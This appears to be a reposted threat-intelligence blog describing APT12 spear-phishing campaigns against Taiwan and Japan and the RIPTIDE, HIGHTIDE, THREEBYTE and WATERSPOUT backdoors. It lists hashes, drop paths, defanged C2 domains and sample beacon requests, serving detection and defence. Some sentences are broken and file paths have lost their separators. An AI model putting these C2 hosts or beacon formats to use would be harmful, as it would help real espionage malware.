Darwin’s Favorite APT Group



FireEye has released a research blog which outlines a new set of attacks and complete refresh of the attack tools used by APT12 which recently appeared in attacks against organisations in APAC.

The group is believed to be a cyber espionage group with links to the Chinese People’s Liberation Army and is the same group responsible for the NY Times hack in 2012.

The attackers referred to as APT12 (also known as IXESHE, DynCalc, and DNSCALC) recently started a new campaign targeting organizations in Japan and Taiwan. APT12 is believed to be a cyber espionage group thought to have links to the Chinese People’s Liberation Army. APT12’s targets are consistent with larger People’s Republic of China (PRC) goals.  Intrusions and campaigns conducted by this group are in-line with PRC goals and self-interest in Taiwan.  Additionally, the new campaigns we uncovered further highlight the correlation between APT groups ceasing and retooling operations after media exposure, as APT12 used the same strategy after compromising the New York Times in Oct 2012. Much like Darwin’s theory of biological evolution, APT12 been forced to evolve and adapt in order to maintain its mission.

The new campaign marks the first APT12 activity detected since Arbor Networks released their blog “Illuminating The Etumbot APT Backdoor.” FireEye refers to the Etumbot backdoor as RIPTIDE. Since the release of the Arbor blog post, FireEye has observed APT12 use a modified RIPTIDE backdoor that we call HIGHTIDE. This is the second time FireEye has discovered APT12 retooling after a public disclosure. As such, FireEye believes this to be a common theme for this APT group, as APT12 will continue to evolve in an effort to avoid detection and continue its cyber operations.

FireEye researchers also discovered two possibly related campaigns utilizing two other backdoors known as THREEBYTE and WATERSPOUT. Both backdoors were dropped from malicious documents built utilizing the “Tran Duy Linh” exploit kit, which exploited CVE-2012-0158. These documents were also emailed to organizations in Japan and Taiwan. While APT12 has previously used THREEBYTE, it is unclear if APT12 was responsible for the recently discovered campaign utilizing THREEBYTE. Similarly, WATERSPOUT is a newly discovered backdoor and the threat actors behind the campaign have not been positively identified. However, the WATERSPOUT campaign shared several traits with the RIPTIDE and HIGHTIDE campaign that we have attributed to APT12.


From October 2012 to May 2014, FireEye observed APT12 utilizing RIPTIDE, a proxy-aware backdoor that communicates via HTTP to a hard-coded command and control (C2) server. RIPTIDE’s first communication with its C2 server fetches an encryption key, and the RC4 encryption key is used to encrypt all further communication.

Image 1

Figure 1:  RIPTIDE HTTP GET Request Example

In June 2014, Arbor Networks published an article describing the RIPTIDE backdoor and its C2 infrastructure in great depth. The blog highlighted that the backdoor was utilized in campaigns from March 2011 till May 2014.

Following the release of the article, FireEye observed a distinct change in RIPTIDE’s protocols and strings. We suspect this change was a direct result of the Arbor blog post in order to decrease detection of RIPTIDE by security vendors. The changes to RIPTIDE were significant enough to circumvent existing RIPTIDE detection rules. FireEye dubbed this new malware family HIGHTIDE.

HIGHTIDE Malware Family

On Sunday August 24, 2014 we observed a spear phish email sent to a Taiwanese government ministry. Attached to this email was a malicious Microsoft Word document (MD5: f6fafb7c30b1114befc93f39d0698560) that exploited CVE-2012-0158. It is worth noting that this email appeared to have been sent from another Taiwanese Government employee, implying that the email was sent from a valid but compromised account.

Image 2

Figure 2:  APT12 Spearphishing Email

The exploit document dropped the HIGHTIDE backdoor with the following properties:

MD5                         6e59861931fa2796ee107dc27bfdd480

Size                           75264 bytes

Compile Time         2014-08-23 08:22:49

Import Hash          ead55ef2b18a80c00786c25211981570

The HIGHTIDE backdoor connected directly to If you compare the HTTP GET request from the RIPTIDE samples (Figure 1) to the HTTP GET request from the HIGHTIDE samples (Figure 3) you can see the malware author changed the following items:

  • User Agent
  • Format and structure of the HTTP Uniform Resource Identifier (URI)
GET /?5YPmkFbgKgg4E3OTxjGZqbchUwRXSnYa3xQHkox82fScyUE1WwTELkYR3JxjzEceUS51g~QMF7bPC3BWzmppTJspuLYLimFgoLBaWii5_GC3vBYKfTyonbbrrGueH3T0MGSKcncUexu~FB0FMwgrgI9ypPgASnRhk4NaQCf3mJ0pYRB9j3oofiPTh5qaHQ2iQO13QNm1p0LlPqWHigca5pFpmFsXu6DSVjz8yMSEPdG0x~0Y8~956QQ– HTTP/1.1

Connection: keep-alive

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Referer: http://www.google.com/

Pragma: no-cache

Cache-Control: no-cache

User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0)


Figure 3: HIGHTIDE GET Request Example

Similar to RIPTIDE campaigns, APT12 infects target systems with HIGHTIDE using a Microsoft Word (.doc) document that exploits CVE-2012-0158. FireEye observed APT12 deliver these exploit documents via phishing emails in multiple cases. Based on past APT12 activity, we expect the threat group to continue to utilize phishing as a malware delivery method

MD5 File Name Exploit
73f493f6a2b0da23a79b50765c164e88 議程最新修正及注意事項.doc CVE-2012-0158
f6fafb7c30b1114befc93f39d0698560 0824.1.doc CVE-2012-0158
eaa6e03d9dae356481215e3a9d2914dc 簡易名冊0全國各警察機關主官至分局長.doc CVE-2012-0158
06da4eb2ab6412c0dc7f295920eb61c4 附檔.doc CVE-2012-0158
53baedf3765e27fb465057c48387c9b6 103年第3屆通訊錄.doc CVE-2012-0158


2014 09 17 Welcome Reception for Bob and Jason_invitation.doc







Figure 4: Identified exploit documents for HIGHTIDE

When the file is opened, it drops HIGHTIDE in the form of an executable file onto the infected system.

RIPTIDE and HIGHTIDE differ on several points: executable file location, image base address, the User-Agent within the GET requests, and the format of the URI. The RIPTIDE exploit document drops its executable file into the C:Documents and Settings{user}Application DataLocation folder while the HIGHTIDE exploit document drops its executable file into the C:DOCUMENTS and SETTINGS{user}LOCAL SETTINGSTemp folder. All but one sample that we identified were written to this folder as word.exe. The one outlier was written as winword.exe.

Research into this HIGHTIDE campaign revealed APT12 targeted multiple Taiwanese Government organizations between August 22 and 28.

THREEBYTE Malware Family

On Monday August 25, 2014 we observed a different spear phish email sent from lilywang823@gmail.com to a technology company located in Taiwan. This spear phish contained a malicious Word document that exploited CVE-2012-0158. The MD5 of the exploit document was e009b95ff7b69cbbebc538b2c5728b11.

Similar to the newly discovered HIGHTIDE samples documented above, this malicious document dropped a backdoor to C:DOCUMENTS and SETTINGS{user}LOCAL SETTINGS%TEMP%word.exe. This backdoor had the following properties:

MD5                          16e627dbe730488b1c3d448bfc9096e2

Size                            75776 bytes

Compile Time         2014-08-25 01:22:20

Import Hash          dcfaa2650d29ec1bd88e262d11d3236f

This backdoor sent the following callback traffic to video[.]csmcpr[.]com:

GET /UID1821.jsp?VGVjaCBzeXMsQWRtaW5pc3RyYXRvcixXaW43LD8/PywsLEpBVkFQTEFURk9STTQ= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Host: video[.]csmcpr[.]com

Connection: Keep-Alive

Figure 5:  THREEBYTE GET Request Beacon

The THREEBYTE spear phishing incident (while not yet attributed) shared the following characteristics with the above HIGHTIDE campaign attributed to APT12:

  • The THREEBYTE backdoor was compiled two days after the HIGHTIDE backdoors.
  • Both the THREEBYTE and HIGHTIDE backdoors were used in attacks targeting organizations in Taiwan.
  • Both the THREEBYTE and HIGHTIDE backdoors were written to the same filepath of C:DOCUMENTS and SETTINGS{user}LOCAL SETTINGSTempword.exe.
  • APT12 has previously used the THREEBYTE backdoor.

WATERSPOUT Malware Family

On August 25, 2014, we observed another round of spear phishing emails targeting a high-technology company in Japan. Attached to this email was another malicious document that was designed to exploit CVE-2012-0158. This malicious Word document had an MD5 of 499bec15ac83f2c8998f03917b63652e and dropped a backdoor to C:DOCUMENTS and SETTINGS{user}LOCAL SETTINGSTempword.exe. The backdoor had the following properties:

MD5                        f9cfda6062a8ac9e332186a7ec0e706a

Size                           49152 bytes

Compile Time         2014-08-25 02:10:11

Import Hash          864cd776c24a3c653fd89899ca32fe0b

The backdoor connects to a command and control server at icc[.]ignorelist[.]com.

Similar to RIPTIDE and HIGHTIDE, the WATERSPOUT backdoor is an HTTP-based backdoor that communicates with its C2 server.

GET /<string>/<5 digit number>/<4 character string>.php?<first 3 characters of last string>_id=<43 character string>= HTTP/1.1

Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)

Host: <C2 Location>

Cache-Control: no-cache

Figure 6: Sample GET request for WATERSPOUT backdoor

Although there are no current infrastructure ties to link this backdoor to APT12, there are several data points that show a possible tie to the same actors:

  • Same initial delivery method (spear phishing email) with a Microsoft Word Document exploiting CVE-2012-0158.
    • The same “Tran Duy Linh” Microsoft Word Exploit Kit was used in delivery of this backdoor.
  • Similar Targets were observed where the threat actors utilized this backdoor.
    • Japanese Tech Company
    • Taiwanese Government Organizations
    • Organizations in the Asia-Pacific Region that are of Interest to China
  • The WATERSPOUT backdoor was written to the same file path as the HIGHTIDE backdoors:
    • C:DOCUMENTS and SETTINGS{user}LOCAL SETTINGSTempwinword.exe
  • WATERSPOUT was compiled within two days of the last HIGHTIDE backdoor and on the same day as the THREEBYTE backdoor.

Although these points do not definitively tie WATERSPOUT to APT12, they do indicate a possible connection between the WATERSPOUT campaign, the THREEBYTE campaign, and the HIGHTIDE campaign attributed to APT12.


FireEye believes the change from RIPTIDE to HIGHTIDE represents a temporary tool shift to decrease malware detection while APT12 developed a completely new malware toolset. These development efforts may have resulted in the emergence of the WATERSPOUT backdoor.

Image 3

Figure 7: Compile dates for all three malware families

APT12’s adaptations to public disclosures lead FireEye to make several conclusions about this threat group:

  • APT12 closely monitors online media related to its tools and operations and reacts when its tools are publicly disclosed.
  • APT12 has the ability to adapt quickly to public exposures with new tools, tactics, and procedures (TTPs).
  • Public disclosures may result in an immediate change in APT12’s tools. These changes may be temporary and FireEye believes they are aimed at decreasing detection of their tools until a more permanent and effective TTP change can be implemented (e.g., WATERSPOUT).

Though public disclosures resulted in APT12 adaptations, FireEye observed only a brief pause in APT12 activity before the threat actors returned to normal activity levels. Similarly, the public disclosure of APT12’s intrusion at the New York Times also led to only a brief pause in the threat group’s activity and immediate changes in TTPs. The pause and retooling by APT12 was covered in the Mandiant 2014 M-Trends report. Currently, APT12 continues to target organizations and conduct cyber operations using its new tools. Most recently, FireEye observed HIGHTIDE at multiple Taiwan-based organizations and the suspected APT12 WATERSPOUT backdoor at a Japan-based electronics company. We expect that APT12 will continue their trend and evolve and change its tactics to stay ahead of network defenders.


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